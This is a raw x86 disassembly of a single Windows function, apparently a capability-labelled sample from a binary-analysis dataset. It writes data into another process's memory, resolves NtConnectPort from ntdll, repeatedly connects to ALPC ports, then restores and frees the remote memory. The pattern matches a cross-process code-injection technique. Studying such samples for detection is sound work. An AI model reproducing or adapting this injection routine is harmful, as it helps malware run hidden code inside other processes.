Function at 0x413b00
Capabilities:
Access peb ldr_data

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45f470
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0xd0
mov eax, dword [0x47a0b8]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, dword [ecx + 4]
mov eax, dword [ebx + 0xc]
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
mov dword [ebp - 0xa4], eax
mov eax, dword [ecx]
push 0x10
push dword [esi]
mov dword [ebp - 0xbc], esi
mov eax, dword [eax]
mov dword [ebp - 0x9c], edi
mov dword [ebp - 0x94], 0
call eax
mov edx, dword [eax + 0x10]
mov dword [esi + 0x18], edx
mov dword [esi + 0x1c], 0
mov eax, dword [eax + 8]
movups xmm0, xmmword [edi]
mov dword [ebp - 0xac], eax
lea eax, [ebp - 0xa0]
movups xmm1, xmmword [edi + 0x50]
push eax
movups xmmword [ebp - 0x90], xmm0
push 0x10
movups xmm0, xmmword [edi + 0x10]
lea eax, [ebp - 0x30]
movd dword [ebp - 0x30], xmm1
movups xmmword [ebp - 0x80], xmm0
push eax
movups xmm0, xmmword [edi + 0x20]
movups xmmword [ebp - 0x40], xmm1
movups xmmword [ebp - 0x70], xmm0
movups xmm0, xmmword [edi + 0x30]
movups xmmword [ebp - 0x60], xmm0
movups xmm0, xmmword [edi + 0x40]
mov edi, dword [ebp - 0xac]
movups xmmword [ebp - 0x50], xmm0
movaps xmm0, xmm1
lea eax, [edx + edi]
psrldq xmm0, 4
movd dword [ebp - 0x2c], xmm0
movaps xmm0, xmm1
push eax
push dword [esi]
psrldq xmm0, 8
psrldq xmm1, 0xc
movd dword [ebp - 0x28], xmm0
movd dword [ebp - 0x24], xmm1
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
mov eax, edi
cdq
mov dword [ebp - 0x40], eax
add eax, dword [esi + 0x18]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0xa0]
push eax
push 0x60
lea eax, [ebp - 0x90]
mov dword [ebp - 0x3c], edx
adc edx, dword [esi + 0x1c]
push eax
push dword [ebp - 0xa4]
mov dword [ebp - 0x34], edx
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
mov ecx, dword [esi + 8]
mov eax, 0x2aaaaaab
mov edi, dword [esi + 4]
sub ecx, edi
imul ecx
mov dword [ebp - 0xa8], 0
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x413e2e
xor eax, eax
mov dword [ebp - 0x98], eax
add eax, edi
lea ecx, [ebp - 0xe0]
push eax
call fcn.0040e370
push str.RtlInitUnicodeString
mov dword [ebp - 4], 0
push str.ntdll
mov dword [ebp - 0xb4], 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.NtConnectPort
push str.ntdll
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.NtClose
push str.ntdll
mov edi, eax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
cmp dword [ebp - 0xcc], 8
lea ecx, [ebp - 0xe0]
mov dword [ebp - 0x94], eax
lea eax, [ebp - 0xc4]
cmovae ecx, dword [ebp - 0xe0]
push ecx
push eax
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x20], 0xc
mov dword [ebp - 0x1c], 2
call esi
push 0
push 0
lea eax, [ebp - 0xb4]
push eax
push 0
push 0
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0xc4]
push eax
lea eax, [ebp - 0xb8]
push eax
call edi
add esp, 0x28
test eax, eax
js 0x413d41
push dword [ebp - 0xb8]
call dword [ebp - 0x94]
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0xcc]
cmp edx, 8
jb 0x413d88
mov eax, dword [ebp - 0xe0]
lea edx, [edx*2 + 2]
mov ecx, eax
cmp edx, 0x1000
jb 0x413d7e
mov eax, dword [ecx - 4]
add edx, 0x23
sub ecx, eax
add ecx, 0xfffffffc
cmp ecx, 0x1f
ja 0x413e8c
push edx
push eax
call fcn.00435d98
add esp, 8
mov edi, dword [ebp - 0xa8]
push edi
push str.Back_from_ALPC_Connect__d_n
call fcn.004137f0
mov esi, dword [ebp - 0xbc]
lea eax, [ebp - 0xa0]
add esp, 8
push eax
push 0x60
lea eax, [ebp - 0x90]
push eax
push dword [ebp - 0xa4]
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_ReadProcessMemory]
mov ecx, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x40]
cmp eax, dword [ecx + 0x50]
jne 0x413dd6
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ecx + 0x54]
je 0x413e22
mov eax, dword [esi + 4]
inc edi
mov ecx, dword [esi + 8]
add dword [ebp - 0x98], 0x18
sub ecx, eax
mov dword [ebp - 0xb0], eax
mov eax, 0x2aaaaaab
imul ecx
mov dword [ebp - 0x94], 0
sar edx, 2
mov eax, edx
mov dword [ebp - 0xa8], edi
shr eax, 0x1f
add eax, edx
cmp edi, eax
jae 0x413e2e
mov edi, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x98]
jmp 0x413c67
mov dword [ebp - 0x94], 1
jmp 0x413e34
mov ecx, dword [ebp - 0x9c]
lea eax, [ebp - 0xa0]
push eax
push 0x60
push ecx
push dword [ebp - 0xa4]
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
mov ecx, dword [esi + 0x18]
push 0x8000
add ecx, 0x10
push ecx
push dword [ebp - 0xac]
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_VirtualFreeEx]
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004356fe
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0xc
call fcn.0044118c
int3